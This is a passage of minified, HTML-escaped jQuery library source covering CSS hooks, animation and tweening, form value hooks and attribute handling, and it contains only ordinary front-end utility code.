return c = c || Jb(a), g = c ? c[b] : void 0, null == g &amp;&amp; h &amp;&amp; h[b] &amp;&amp; (g = h[b]), Ib.test(g) &amp;&amp; !Lb.test(b) &amp;&amp; (d = h.left, e = a.runtimeStyle, f = e &amp;&amp; e.left, f &amp;&amp; (e.left = a.currentStyle.left), h.left = &quot;fontSize&quot; === b ? &quot;1em&quot; : g, g = h.pixelLeft + &quot;px&quot;, h.left = d, f &amp;&amp; (e.left = f)), void 0 === g ? g : g + &quot;&quot; || &quot;auto&quot;
});

function Mb(a, b) {
return {
get: function() {
var c = a();
if (null != c) return c ? void delete this.get : (this.get = b).apply(this, arguments)
}
}
}! function() {
var b, c, d, e, f, g, h = z.createElement(&quot;div&quot;),
i = &quot;border:0;width:0;height:0;position:absolute;top:0;left:-9999px&quot;,
j = &quot;-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;display:block;padding:0;margin:0;border:0&quot;;
h.innerHTML = &quot; 	&lt;link/&gt;
&lt;table&gt;&lt;/table&gt;
&lt;a href='/a'&gt;a&lt;/a&gt;&lt;input type='checkbox'/&gt;&quot;, b = h.getElementsByTagName(&quot;a&quot;)[0], b.style.cssText = &quot;float:left;opacity:.5&quot;, l.opacity = /^0.5/.test(b.style.opacity), l.cssFloat = !!b.style.cssFloat, h.style.backgroundClip = &quot;content-box&quot;, h.cloneNode(!0).style.backgroundClip = &quot;&quot;, l.clearCloneStyle = &quot;content-box&quot; === h.style.backgroundClip, b = h = null, n.extend(l, {
reliableHiddenOffsets: function() {
if (null != c) return c;
var a, b, d, e = z.createElement(&quot;div&quot;),
f = z.getElementsByTagName(&quot;body&quot;)[0];
if (f) return e.setAttribute(&quot;className&quot;, &quot;t&quot;), e.innerHTML = &quot; 	&lt;link/&gt;
&lt;table&gt;&lt;/table&gt;
&lt;a href='/a'&gt;a&lt;/a&gt;&lt;input type='checkbox'/&gt;&quot;, a = z.createElement(&quot;div&quot;), a.style.cssText = i, f.appendChild(a).appendChild(e), e.innerHTML = &quot;
&lt;table&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;t&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;
&quot;, b = e.getElementsByTagName(&quot;td&quot;), b[0].style.cssText = &quot;padding:0;margin:0;border:0;display:none&quot;, d = 0 === b[0].offsetHeight, b[0].style.display = &quot;&quot;, b[1].style.display = &quot;none&quot;, c = d &amp;&amp; 0 === b[0].offsetHeight, f.removeChild(a), e = f = null, c
},
boxSizing: function() {
return null == d &amp;&amp; k(), d
},
boxSizingReliable: function() {
return null == e &amp;&amp; k(), e
},
pixelPosition: function() {
return null == f &amp;&amp; k(), f
},
reliableMarginRight: function() {
var b, c, d, e;
if (null == g &amp;&amp; a.getComputedStyle) {
if (b = z.getElementsByTagName(&quot;body&quot;)[0], !b) return;
c = z.createElement(&quot;div&quot;), d = z.createElement(&quot;div&quot;), c.style.cssText = i, b.appendChild(c).appendChild(d), e = d.appendChild(z.createElement(&quot;div&quot;)), e.style.cssText = d.style.cssText = j, e.style.marginRight = e.style.width = &quot;0&quot;, d.style.width = &quot;1px&quot;, g = !parseFloat((a.getComputedStyle(e, null) || {}).marginRight), b.removeChild(c)
}
return g
}
});

function k() {
var b, c, h = z.getElementsByTagName(&quot;body&quot;)[0];
h &amp;&amp; (b = z.createElement(&quot;div&quot;), c = z.createElement(&quot;div&quot;), b.style.cssText = i, h.appendChild(b).appendChild(c), c.style.cssText = &quot;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;position:absolute;display:block;padding:1px;border:1px;width:4px;margin-top:1%;top:1%&quot;, n.swap(h, null != h.style.zoom ? {
zoom: 1
} : {}, function() {
d = 4 === c.offsetWidth
}), e = !0, f = !1, g = !0, a.getComputedStyle &amp;&amp; (f = &quot;1%&quot; !== (a.getComputedStyle(c, null) || {}).top, e = &quot;4px&quot; === (a.getComputedStyle(c, null) || {
width: &quot;4px&quot;
}).width), h.removeChild(b), c = h = null)
}
}(), n.swap = function(a, b, c, d) {
var e, f, g = {};
for (f in b) g[f] = a.style[f], a.style[f] = b[f];
e = c.apply(a, d || []);
for (f in b) a.style[f] = g[f];
return e
};
var bg = /alpha\([^)]*\)/i,
Ob = /opacity\s*=\s*([^)]*)/,
Pb = /^(none|table(?!-c[ea]).+)/,
Qb = new RegExp(&quot;^(&quot; + T + &quot;)(.*)$&quot;, &quot;i&quot;),
Rb = new RegExp(&quot;^([+-])=(&quot; + T + &quot;)&quot;, &quot;i&quot;),
Sb = {
position: &quot;absolute&quot;,
visibility: &quot;hidden&quot;,
display: &quot;block&quot;
},
Tb = {
letterSpacing: 0,
fontWeight: 400
},
Ub = [&quot;Webkit&quot;, &quot;O&quot;, &quot;Moz&quot;, &quot;ms&quot;];

function Vb(a, b) {
if (b in a) return b;
var c = b.charAt(0).toUpperCase() + b.slice(1),
d = b,
e = Ub.length;
while (e--)
if (b = Ub[e] + c, b in a) return b;
return d
}

function Wb(a, b) {
for (var c, d, e, f = [], g = 0, h = a.length; h &gt; g; g++) d = a[g], d.style &amp;&amp; (f[g] = n._data(d, &quot;olddisplay&quot;), c = d.style.display, b ? (f[g] || &quot;none&quot; !== c || (d.style.display = &quot;&quot;), &quot;&quot; === d.style.display &amp;&amp; V(d) &amp;&amp; (f[g] = n._data(d, &quot;olddisplay&quot;, Gb(d.nodeName)))) : f[g] || (e = V(d), (c &amp;&amp; &quot;none&quot; !== c || !e) &amp;&amp; n._data(d, &quot;olddisplay&quot;, e ? c : n.css(d, &quot;display&quot;))));
for (g = 0; h &gt; g; g++) d = a[g], d.style &amp;&amp; (b &amp;&amp; &quot;none&quot; !== d.style.display &amp;&amp; &quot;&quot; !== d.style.display || (d.style.display = b ? f[g] || &quot;&quot; : &quot;none&quot;));
return a
}

function Xb(a, b, c) {
var d = Qb.exec(b);
return d ? Math.max(0, d[1] - (c || 0)) + (d[2] || &quot;px&quot;) : b
}

function Yb(a, b, c, d, e) {
for (var f = c === (d ? &quot;border&quot; : &quot;content&quot;) ? 4 : &quot;width&quot; === b ? 1 : 0, g = 0; 4 &gt; f; f += 2) &quot;margin&quot; === c &amp;&amp; (g += n.css(a, c + U[f], !0, e)), d ? (&quot;content&quot; === c &amp;&amp; (g -= n.css(a, &quot;padding&quot; + U[f], !0, e)), &quot;margin&quot; !== c &amp;&amp; (g -= n.css(a, &quot;border&quot; + U[f] + &quot;Width&quot;, !0, e))) : (g += n.css(a, &quot;padding&quot; + U[f], !0, e), &quot;padding&quot; !== c &amp;&amp; (g += n.css(a, &quot;border&quot; + U[f] + &quot;Width&quot;, !0, e)));
return g
}

function Zb(a, b, c) {
var d = !0,
e = &quot;width&quot; === b ? a.offsetWidth : a.offsetHeight,
f = Jb(a),
g = l.boxSizing() &amp;&amp; &quot;border-box&quot; === n.css(a, &quot;boxSizing&quot;, !1, f);
if (0 &gt;= e || null == e) {
if (e = Kb(a, b, f), (0 &gt; e || null == e) &amp;&amp; (e = a.style[b]), Ib.test(e)) return e;
d = g &amp;&amp; (l.boxSizingReliable() || e === a.style[b]), e = parseFloat(e) || 0
}
return e + Yb(a, b, c || (g ? &quot;border&quot; : &quot;content&quot;), d, f) + &quot;px&quot;
}
n.extend({
cssHooks: {
opacity: {
get: function(a, b) {
if (b) {
var c = Kb(a, &quot;opacity&quot;);
return &quot;&quot; === c ? &quot;1&quot; : c
}
}
}
},
cssNumber: {
columnCount: !0,
fillOpacity: !0,
fontWeight: !0,
lineHeight: !0,
opacity: !0,
order: !0,
orphans: !0,
widows: !0,
zIndex: !0,
zoom: !0
},
cssProps: {
&quot;float&quot;: l.cssFloat ? &quot;cssFloat&quot; : &quot;styleFloat&quot;
},
style: function(a, b, c, d) {
if (a &amp;&amp; 3 !== a.nodeType &amp;&amp; 8 !== a.nodeType &amp;&amp; a.style) {
var e, f, g, h = n.camelCase(b),
i = a.style;
if (b = n.cssProps[h] || (n.cssProps[h] = Vb(i, h)), g = n.cssHooks[b] || n.cssHooks[h], void 0 === c) return g &amp;&amp; &quot;get&quot; in g &amp;&amp; void 0 !== (e = g.get(a, !1, d)) ? e : i[b];
if (f = typeof c, &quot;string&quot; === f &amp;&amp; (e = Rb.exec(c)) &amp;&amp; (c = (e[1] + 1) * e[2] + parseFloat(n.css(a, b)), f = &quot;number&quot;), null != c &amp;&amp; c === c &amp;&amp; (&quot;number&quot; !== f || n.cssNumber[h] || (c += &quot;px&quot;), l.clearCloneStyle || &quot;&quot; !== c || 0 !== b.indexOf(&quot;background&quot;) || (i[b] = &quot;inherit&quot;), !(g &amp;&amp; &quot;set&quot; in g &amp;&amp; void 0 === (c = g.set(a, c, d))))) try {
i[b] = &quot;&quot;, i[b] = c
} catch (j) {}
}
},
css: function(a, b, c, d) {
var e, f, g, h = n.camelCase(b);
return b = n.cssProps[h] || (n.cssProps[h] = Vb(a.style, h)), g = n.cssHooks[b] || n.cssHooks[h], g &amp;&amp; &quot;get&quot; in g &amp;&amp; (f = g.get(a, !0, c)), void 0 === f &amp;&amp; (f = Kb(a, b, d)), &quot;normal&quot; === f &amp;&amp; b in Tb &amp;&amp; (f = Tb[b]), &quot;&quot; === c || c ? (e = parseFloat(f), c === !0 || n.isNumeric(e) ? e || 0 : f) : f
}
}), n.each([&quot;height&quot;, &quot;width&quot;], function(a, b) {
n.cssHooks[b] = {
get: function(a, c, d) {
return c ? 0 === a.offsetWidth &amp;&amp; Pb.test(n.css(a, &quot;display&quot;)) ? n.swap(a, Sb, function() {
return Zb(a, b, d)
}) : Zb(a, b, d) : void 0
},
set: function(a, c, d) {
var e = d &amp;&amp; Jb(a);
return Xb(a, c, d ? Yb(a, b, d, l.boxSizing() &amp;&amp; &quot;border-box&quot; === n.css(a, &quot;boxSizing&quot;, !1, e), e) : 0)
}
}
}), l.opacity || (n.cssHooks.opacity = {
get: function(a, b) {
return Ob.test((b &amp;&amp; a.currentStyle ? a.currentStyle.filter : a.style.filter) || &quot;&quot;) ? .01 * parseFloat(RegExp.$1) + &quot;&quot; : b ? &quot;1&quot; : &quot;&quot;
},
set: function(a, b) {
var c = a.style,
d = a.currentStyle,
e = n.isNumeric(b) ? &quot;alpha(opacity=&quot; + 100 * b + &quot;)&quot; : &quot;&quot;,
f = d &amp;&amp; d.filter || c.filter || &quot;&quot;;
c.zoom = 1, (b &gt;= 1 || &quot;&quot; === b) &amp;&amp; &quot;&quot; === n.trim(f.replace(bg, &quot;&quot;)) &amp;&amp; c.removeAttribute &amp;&amp; (c.removeAttribute(&quot;filter&quot;), &quot;&quot; === b || d &amp;&amp; !d.filter) || (c.filter = bg.test(f) ? f.replace(bg, e) : f + &quot; &quot; + e)
}
}), n.cssHooks.marginRight = Mb(l.reliableMarginRight, function(a, b) {
return b ? n.swap(a, {
display: &quot;inline-block&quot;
}, Kb, [a, &quot;marginRight&quot;]) : void 0
}), n.each({
margin: &quot;&quot;,
padding: &quot;&quot;,
border: &quot;Width&quot;
}, function(a, b) {
n.cssHooks[a + b] = {
expand: function(c) {
for (var d = 0, e = {}, f = &quot;string&quot; == typeof c ? c.split(&quot; &quot;) : [c]; 4 &gt; d; d++) e[a + U[d] + b] = f[d] || f[d - 2] || f[0];
return e
}
}, bf.test(a) || (n.cssHooks[a + b].set = Xb)
}), n.fn.extend({
css: function(a, b) {
return W(this, function(a, b, c) {
var d, e, f = {},
g = 0;
if (n.isArray(b)) {
for (d = Jb(a), e = b.length; e &gt; g; g++) f[b[g]] = n.css(a, b[g], !1, d);
return f
}
return void 0 !== c ? n.style(a, b, c) : n.css(a, b)
}, a, b, arguments.length &gt; 1)
},
show: function() {
return Wb(this, !0)
},
hide: function() {
return Wb(this)
},
toggle: function(a) {
return &quot;boolean&quot; == typeof a ? a ? this.show() : this.hide() : this.each(function() {
V(this) ? n(this).show() : n(this).hide()
})
}
});

function $b(a, b, c, d, e) {
return new $b.prototype.init(a, b, c, d, e)
}
n.Tween = $b, $b.prototype = {
constructor: $b,
init: function(a, b, c, d, e, f) {
this.elem = a, this.prop = c, this.easing = e || &quot;swing&quot;, this.options = b, this.start = this.now = this.cur(), this.end = d, this.unit = f || (n.cssNumber[c] ? &quot;&quot; : &quot;px&quot;)
},
cur: function() {
var a = $b.propHooks[this.prop];
return a &amp;&amp; a.get ? a.get(this) : $b.propHooks._default.get(this)
},
run: function(a) {
var b, c = $b.propHooks[this.prop];
return this.pos = b = this.options.duration ? n.easing[this.easing](a, this.options.duration * a, 0, 1, this.options.duration) : a, this.now = (this.end - this.start) * b + this.start, this.options.step &amp;&amp; this.options.step.call(this.elem, this.now, this), c &amp;&amp; c.set ? c.set(this) : $b.propHooks._default.set(this), this
}
}, $b.prototype.init.prototype = $b.prototype, $b.propHooks = {
_default: {
get: function(a) {
var b;
return null == a.elem[a.prop] || a.elem.style &amp;&amp; null != a.elem.style[a.prop] ? (b = n.css(a.elem, a.prop, &quot;&quot;), b &amp;&amp; &quot;auto&quot; !== b ? b : 0) : a.elem[a.prop]
},
set: function(a) {
n.fx.step[a.prop] ? n.fx.step[a.prop](a) : a.elem.style &amp;&amp; (null != a.elem.style[n.cssProps[a.prop]] || n.cssHooks[a.prop]) ? n.style(a.elem, a.prop, a.now + a.unit) : a.elem[a.prop] = a.now
}
}
}, $b.propHooks.scrollTop = $b.propHooks.scrollLeft = {
set: function(a) {
a.elem.nodeType &amp;&amp; a.elem.parentNode &amp;&amp; (a.elem[a.prop] = a.now)
}
}, n.easing = {
linear: function(a) {
return a
},
swing: function(a) {
return .5 - Math.cos(a * Math.PI) / 2
}
}, n.fx = $b.prototype.init, n.fx.step = {};
var bh, ac, bc = /^(?:toggle|show|hide)$/,
cc = new RegExp(&quot;^(?:([+-])=|)(&quot; + T + &quot;)([a-z%]*)$&quot;, &quot;i&quot;),
dc = /queueHooks$/,
ec = [jc],
fc = {
&quot;*&quot;: [function(a, b) {
var c = this.createTween(a, b),
d = c.cur(),
e = cc.exec(b),
f = e &amp;&amp; e[3] || (n.cssNumber[a] ? &quot;&quot; : &quot;px&quot;),
g = (n.cssNumber[a] || &quot;px&quot; !== f &amp;&amp; +d) &amp;&amp; cc.exec(n.css(c.elem, a)),
h = 1,
i = 20;
if (g &amp;&amp; g[3] !== f) {
f = f || g[3], e = e || [], g = +d || 1;
do h = h || &quot;.5&quot;, g /= h, n.style(c.elem, a, g + f); while (h !== (h = c.cur() / d) &amp;&amp; 1 !== h &amp;&amp; --i)
}
return e &amp;&amp; (g = c.start = +g || +d || 0, c.unit = f, c.end = e[1] ? g + (e[1] + 1) * e[2] : +e[2]), c
}]
};

function gc() {
return setTimeout(function() {
bh = void 0
}), bh = n.now()
}

function hc(a, b) {
var c, d = {
height: a
},
e = 0;
for (b = b ? 1 : 0; 4 &gt; e; e += 2 - b) c = U[e], d[&quot;margin&quot; + c] = d[&quot;padding&quot; + c] = a;
return b &amp;&amp; (d.opacity = d.width = a), d
}

function ic(a, b, c) {
for (var d, e = (fc[b] || []).concat(fc[&quot;*&quot;]), f = 0, g = e.length; g &gt; f; f++)
if (d = e[f].call(c, b, a)) return d
}

function jc(a, b, c) {
var d, e, f, g, h, i, j, k, m = this,
o = {},
p = a.style,
q = a.nodeType &amp;&amp; V(a),
r = n._data(a, &quot;fxshow&quot;);
c.queue || (h = n._queueHooks(a, &quot;fx&quot;), null == h.unqueued &amp;&amp; (h.unqueued = 0, i = h.empty.fire, h.empty.fire = function() {
h.unqueued || i()
}), h.unqueued++, m.always(function() {
m.always(function() {
h.unqueued--, n.queue(a, &quot;fx&quot;).length || h.empty.fire()
})
})), 1 === a.nodeType &amp;&amp; (&quot;height&quot; in b || &quot;width&quot; in b) &amp;&amp; (c.overflow = [p.overflow, p.overflowX, p.overflowY], j = n.css(a, &quot;display&quot;), k = Gb(a.nodeName), &quot;none&quot; === j &amp;&amp; (j = k), &quot;inline&quot; === j &amp;&amp; &quot;none&quot; === n.css(a, &quot;float&quot;) &amp;&amp; (l.inlineBlockNeedsLayout &amp;&amp; &quot;inline&quot; !== k ? p.zoom = 1 : p.display = &quot;inline-block&quot;)), c.overflow &amp;&amp; (p.overflow = &quot;hidden&quot;, l.shrinkWrapBlocks() || m.always(function() {
p.overflow = c.overflow[0], p.overflowX = c.overflow[1], p.overflowY = c.overflow[2]
}));
for (d in b)
if (e = b[d], bc.exec(e)) {
if (delete b[d], f = f || &quot;toggle&quot; === e, e === (q ? &quot;hide&quot; : &quot;show&quot;)) {
if (&quot;show&quot; !== e || !r || void 0 === r[d]) continue;
q = !0
}
o[d] = r &amp;&amp; r[d] || n.style(a, d)
}
if (!n.isEmptyObject(o)) {
r ? &quot;hidden&quot; in r &amp;&amp; (q = r.hidden) : r = n._data(a, &quot;fxshow&quot;, {}), f &amp;&amp; (r.hidden = !q), q ? n(a).show() : m.done(function() {
n(a).hide()
}), m.done(function() {
var b;
n._removeData(a, &quot;fxshow&quot;);
for (b in o) n.style(a, b, o[b])
});
for (d in o) g = ic(q ? r[d] : 0, d, m), d in r || (r[d] = g.start, q &amp;&amp; (g.end = g.start, g.start = &quot;width&quot; === d || &quot;height&quot; === d ? 1 : 0))
}
}

function kc(a, b) {
var c, d, e, f, g;
for (c in a)
if (d = n.camelCase(c), e = b[d], f = a[c], n.isArray(f) &amp;&amp; (e = f[1], f = a[c] = f[0]), c !== d &amp;&amp; (a[d] = f, delete a[c]), g = n.cssHooks[d], g &amp;&amp; &quot;expand&quot; in g) {
f = g.expand(f), delete a[d];
for (c in f) c in a || (a[c] = f[c], b[c] = e)
} else b[d] = e
}

function lc(a, b, c) {
var d, e, f = 0,
g = ec.length,
h = n.Deferred().always(function() {
delete i.elem
}),
i = function() {
if (e) return !1;
for (var b = bh || gc(), c = Math.max(0, j.startTime + j.duration - b), d = c / j.duration || 0, f = 1 - d, g = 0, i = j.tweens.length; i &gt; g; g++) j.tweens[g].run(f);
return h.notifyWith(a, [j, f, c]), 1 &gt; f &amp;&amp; i ? c : (h.resolveWith(a, [j]), !1)
},
j = h.promise({
elem: a,
props: n.extend({}, b),
opts: n.extend(!0, {
specialEasing: {}
}, c),
originalProperties: b,
originalOptions: c,
startTime: bh || gc(),
duration: c.duration,
tweens: [],
createTween: function(b, c) {
var d = n.Tween(a, j.opts, b, c, j.opts.specialEasing[b] || j.opts.easing);
return j.tweens.push(d), d
},
stop: function(b) {
var c = 0,
d = b ? j.tweens.length : 0;
if (e) return this;
for (e = !0; d &gt; c; c++) j.tweens[c].run(1);
return b ? h.resolveWith(a, [j, b]) : h.rejectWith(a, [j, b]), this
}
}),
k = j.props;
for (kc(k, j.opts.specialEasing); g &gt; f; f++)
if (d = ec[f].call(j, a, k, j.opts)) return d;
return n.map(k, ic, j), n.isFunction(j.opts.start) &amp;&amp; j.opts.start.call(a, j), n.fx.timer(n.extend(i, {
elem: a,
anim: j,
queue: j.opts.queue
})), j.progress(j.opts.progress).done(j.opts.done, j.opts.complete).fail(j.opts.fail).always(j.opts.always)
}
n.Animation = n.extend(lc, {
tweener: function(a, b) {
n.isFunction(a) ? (b = a, a = [&quot;*&quot;]) : a = a.split(&quot; &quot;);
for (var c, d = 0, e = a.length; e &gt; d; d++) c = a[d], fc[c] = fc[c] || [], fc[c].unshift(b)
},
prefilter: function(a, b) {
b ? ec.unshift(a) : ec.push(a)
}
}), n.speed = function(a, b, c) {
var d = a &amp;&amp; &quot;object&quot; == typeof a ? n.extend({}, a) : {
complete: c || !c &amp;&amp; b || n.isFunction(a) &amp;&amp; a,
duration: a,
easing: c &amp;&amp; b || b &amp;&amp; !n.isFunction(b) &amp;&amp; b
};
return d.duration = n.fx.off ? 0 : &quot;number&quot; == typeof d.duration ? d.duration : d.duration in n.fx.speeds ? n.fx.speeds[d.duration] : n.fx.speeds._default, (null == d.queue || d.queue === !0) &amp;&amp; (d.queue = &quot;fx&quot;), d.old = d.complete, d.complete = function() {
n.isFunction(d.old) &amp;&amp; d.old.call(this), d.queue &amp;&amp; n.dequeue(this, d.queue)
}, d
}, n.fn.extend({
fadeTo: function(a, b, c, d) {
return this.filter(V).css(&quot;opacity&quot;, 0).show().end().animate({
opacity: b
}, a, c, d)
},
animate: function(a, b, c, d) {
var e = n.isEmptyObject(a),
f = n.speed(b, c, d),
g = function() {
var b = lc(this, n.extend({}, a), f);
(e || n._data(this, &quot;finish&quot;)) &amp;&amp; b.stop(!0)
};
return g.finish = g, e || f.queue === !1 ? this.each(g) : this.queue(f.queue, g)
},
stop: function(a, b, c) {
var d = function(a) {
var b = a.stop;
delete a.stop, b(c)
};
return &quot;string&quot; != typeof a &amp;&amp; (c = b, b = a, a = void 0), b &amp;&amp; a !== !1 &amp;&amp; this.queue(a || &quot;fx&quot;, []), this.each(function() {
var b = !0,
e = null != a &amp;&amp; a + &quot;queueHooks&quot;,
f = n.timers,
g = n._data(this);
if (e) g[e] &amp;&amp; g[e].stop &amp;&amp; d(g[e]);
else
for (e in g) g[e] &amp;&amp; g[e].stop &amp;&amp; dc.test(e) &amp;&amp; d(g[e]);
for (e = f.length; e--;) f[e].elem !== this || null != a &amp;&amp; f[e].queue !== a || (f[e].anim.stop(c), b = !1, f.splice(e, 1));
(b || !c) &amp;&amp; n.dequeue(this, a)
})
},
finish: function(a) {
return a !== !1 &amp;&amp; (a = a || &quot;fx&quot;), this.each(function() {
var b, c = n._data(this),
d = c[a + &quot;queue&quot;],
e = c[a + &quot;queueHooks&quot;],
f = n.timers,
g = d ? d.length : 0;
for (c.finish = !0, n.queue(this, a, []), e &amp;&amp; e.stop &amp;&amp; e.stop.call(this, !0), b = f.length; b--;) f[b].elem === this &amp;&amp; f[b].queue === a &amp;&amp; (f[b].anim.stop(!0), f.splice(b, 1));
for (b = 0; g &gt; b; b++) d[b] &amp;&amp; d[b].finish &amp;&amp; d[b].finish.call(this);
delete c.finish
})
}
}), n.each([&quot;toggle&quot;, &quot;show&quot;, &quot;hide&quot;], function(a, b) {
var c = n.fn[b];
n.fn[b] = function(a, d, e) {
return null == a || &quot;boolean&quot; == typeof a ? c.apply(this, arguments) : this.animate(hc(b, !0), a, d, e)
}
}), n.each({
slideDown: hc(&quot;show&quot;),
slideUp: hc(&quot;hide&quot;),
slideToggle: hc(&quot;toggle&quot;),
fadeIn: {
opacity: &quot;show&quot;
},
fadeOut: {
opacity: &quot;hide&quot;
},
fadeToggle: {
opacity: &quot;toggle&quot;
}
}, function(a, b) {
n.fn[a] = function(a, c, d) {
return this.animate(b, a, c, d)
}
}), n.timers = [], n.fx.tick = function() {
var a, b = n.timers,
c = 0;
for (bh = n.now(); c &lt; b.length; c++) a = b[c], a() || b[c] !== a || b.splice(c--, 1);
b.length || n.fx.stop(), bh = void 0
}, n.fx.timer = function(a) {
n.timers.push(a), a() ? n.fx.start() : n.timers.pop()
}, n.fx.interval = 13, n.fx.start = function() {
ac || (ac = setInterval(n.fx.tick, n.fx.interval))
}, n.fx.stop = function() {
clearInterval(ac), ac = null
}, n.fx.speeds = {
slow: 600,
fast: 200,
_default: 400
}, n.fn.delay = function(a, b) {
return a = n.fx ? n.fx.speeds[a] || a : a, b = b || &quot;fx&quot;, this.queue(b, function(b, c) {
var d = setTimeout(b, a);
c.stop = function() {
clearTimeout(d)
}
})
},
function() {
var a, b, c, d, e = z.createElement(&quot;div&quot;);
e.setAttribute(&quot;className&quot;, &quot;t&quot;), e.innerHTML = &quot; 	&lt;link/&gt;
&lt;table&gt;&lt;/table&gt;
&lt;a href='/a'&gt;a&lt;/a&gt;&lt;input type='checkbox'/&gt;&quot;, a = e.getElementsByTagName(&quot;a&quot;)[0], c = z.createElement(&quot;select&quot;), d = c.appendChild(z.createElement(&quot;option&quot;)), b = e.getElementsByTagName(&quot;input&quot;)[0], a.style.cssText = &quot;top:1px&quot;, l.getSetAttribute = &quot;t&quot; !== e.className, l.style = /top/.test(a.getAttribute(&quot;style&quot;)), l.hrefNormalized = &quot;/a&quot; === a.getAttribute(&quot;href&quot;), l.checkOn = !!b.value, l.optSelected = d.selected, l.enctype = !!z.createElement(&quot;form&quot;).enctype, c.disabled = !0, l.optDisabled = !d.disabled, b = z.createElement(&quot;input&quot;), b.setAttribute(&quot;value&quot;, &quot;&quot;), l.input = &quot;&quot; === b.getAttribute(&quot;value&quot;), b.value = &quot;t&quot;, b.setAttribute(&quot;type&quot;, &quot;radio&quot;), l.radioValue = &quot;t&quot; === b.value, a = b = c = d = e = null
}();
var bi = /\r/g;
n.fn.extend({
val: function(a) {
var b, c, d, e = this[0]; {
if (arguments.length) return d = n.isFunction(a), this.each(function(c) {
var e;
1 === this.nodeType &amp;&amp; (e = d ? a.call(this, c, n(this).val()) : a, null == e ? e = &quot;&quot; : &quot;number&quot; == typeof e ? e += &quot;&quot; : n.isArray(e) &amp;&amp; (e = n.map(e, function(a) {
return null == a ? &quot;&quot; : a + &quot;&quot;
})), b = n.valHooks[this.type] || n.valHooks[this.nodeName.toLowerCase()], b &amp;&amp; &quot;set&quot; in b &amp;&amp; void 0 !== b.set(this, e, &quot;value&quot;) || (this.value = e))
});
if (e) return b = n.valHooks[e.type] || n.valHooks[e.nodeName.toLowerCase()], b &amp;&amp; &quot;get&quot; in b &amp;&amp; void 0 !== (c = b.get(e, &quot;value&quot;)) ? c : (c = e.value, &quot;string&quot; == typeof c ? c.replace(bi, &quot;&quot;) : null == c ? &quot;&quot; : c)
}
}
}), n.extend({
valHooks: {
option: {
get: function(a) {
var b = n.find.attr(a, &quot;value&quot;);
return null != b ? b : n.text(a)
}
},
select: {
get: function(a) {
for (var b, c, d = a.options, e = a.selectedIndex, f = &quot;select-one&quot; === a.type || 0 &gt; e, g = f ? null : [], h = f ? e + 1 : d.length, i = 0 &gt; e ? h : f ? e : 0; h &gt; i; i++)
if (c = d[i], !(!c.selected &amp;&amp; i !== e || (l.optDisabled ? c.disabled : null !== c.getAttribute(&quot;disabled&quot;)) || c.parentNode.disabled &amp;&amp; n.nodeName(c.parentNode, &quot;optgroup&quot;))) {
if (b = n(c).val(), f) return b;
g.push(b)
}
return g
},
set: function(a, b) {
var c, d, e = a.options,
f = n.makeArray(b),
g = e.length;
while (g--)
if (d = e[g], n.inArray(n.valHooks.option.get(d), f) &gt;= 0) try {
d.selected = c = !0
} catch (h) {
d.scrollHeight
} else d.selected = !1;
return c || (a.selectedIndex = -1), e
}
}
}
}), n.each([&quot;radio&quot;, &quot;checkbox&quot;], function() {
n.valHooks[this] = {
set: function(a, b) {
return n.isArray(b) ? a.checked = n.inArray(n(a).val(), b) &gt;= 0 : void 0
}
}, l.checkOn || (n.valHooks[this].get = function(a) {
return null === a.getAttribute(&quot;value&quot;) ? &quot;on&quot; : a.value
})
});
var bj, oc, pc = n.expr.attrHandle,
qc = /^(?:checked|selected)$/i,
rc = l.getSetAttribute,
sc = l.input;
n.fn.extend({
attr: function(a, b) {
return W(this, n.attr, a, b, arguments.length &gt; 1)
},
removeAttr: function(a) {
return this.each(function() {
n.removeAttr(this, a)
})
}
}), n.extend({
attr: function(a, b, c) {
var d, e, f = a.nodeType;
if (a &amp;&amp; 3 !== f &amp;&amp; 8 !== f &amp;&amp; 2 !== f) return typeof a.getAttribute === L ? n.prop(a, b, c) : (1 === f &amp;&amp; n.isXMLDoc(a) || (b = b.toLowerCase(), d = n.attrHooks[b] || (n.expr.match.bool.test(b) ? oc : bj)), void 0 === c ? d &amp;&amp; &quot;get&quot; in d &amp;&amp; null !== (e = d.get(a, b)) ? e : (e = n.find.attr(a, b), null == e ? void 0 : e) : null !== c ? d &amp;&amp; &quot;set&quot; in d &amp;&amp; void 0 !== (e = d.set(a, c, b)) ? e : (a.setAttribute(b, c + &quot;&quot;), c) : void n.removeAttr(a, b))
},
removeAttr: function(a, b) {
var c, d, e = 0,
f = b &amp;&amp; b.match(F);
if (f &amp;&amp; 1 === a.nodeType)
while (c = f[e++]) d = n.propFix[c] || c, n.expr.match.bool.test(c) ? sc &amp;&amp; rc || !qc.test(c) ? a[d] = !1 : a[n.camelCase(&quot;default-&quot; + c)] = a[d] = !1 : n.attr(a, c, &quot;&quot;), a.removeAttribute(rc ? c : d)
},
attrHooks: {
type: {
set: function(a, b) {
if (!l.radioValue &amp;&amp; &quot;radio&quot; === b &amp;&amp; n.nodeName(a, &quot;input&quot;)) {
var c = a.value;
return a.setAttribute(&quot;type&quot;, b), c &amp;&amp; (a.value = c), b
}
}
}
}
}), oc = {
set: function(a, b, c) {
return b === !1 ? n.removeAttr(a, c) : sc &amp;&amp; rc || !qc.test(c) ? a.setAttribute(!rc &amp;&amp; n.propFix[c] || c, c) : a[n.camelCase(&quot;default-&quot; + c)] = a[c] = !0, c
}
}, n.each(n.expr.match.bool.source.match(/\w+/g), function(a, b) {
var c = pc[b] || n.find.attr;
pc[b] = sc &amp;&amp; rc || !qc.test(b) ? function(a, b, d) {
var e, f;
return d || (f = pc[b], pc[b] = e, e = null != c(a, b, d) ? b.toLowerCase() : null, pc[b] = f), e
} : function(a, b, c) {
return c ? void 0 : a[n.camelCase(&quot;default-&quot; + b)] ? b.toLowerCase() : null
}
}), sc &amp;&amp; rc || (n.attrHooks.value = {
set: function(a, b, c) {
return n.nodeName(a, &quot;input&quot;) ? void(a.defaultValue = b) : bj &amp;&amp; bj.set(a, b, c)
}
}), rc || (bj = {
set: function(a, b, c) {
var d = a.getAttributeNode(c);
return d || a.setAttributeNode(d = a.ownerDocument.createAttribute(c)), d.value = b += &quot;&quot;, &quot;value&quot; === c || b === a.getAttribute(c) ? b : void 0
}
}, pc.id = pc.name = pc.coords = function(a, b, c) {
var d;
return c ? void 0 : (d = a.getAttributeNode(b)) &amp;&amp; &quot;&quot; !== d.value ? d.value : null
}, n.valHooks.button = {
get: function(a, b) {
var c = a.getAttributeNode(b);
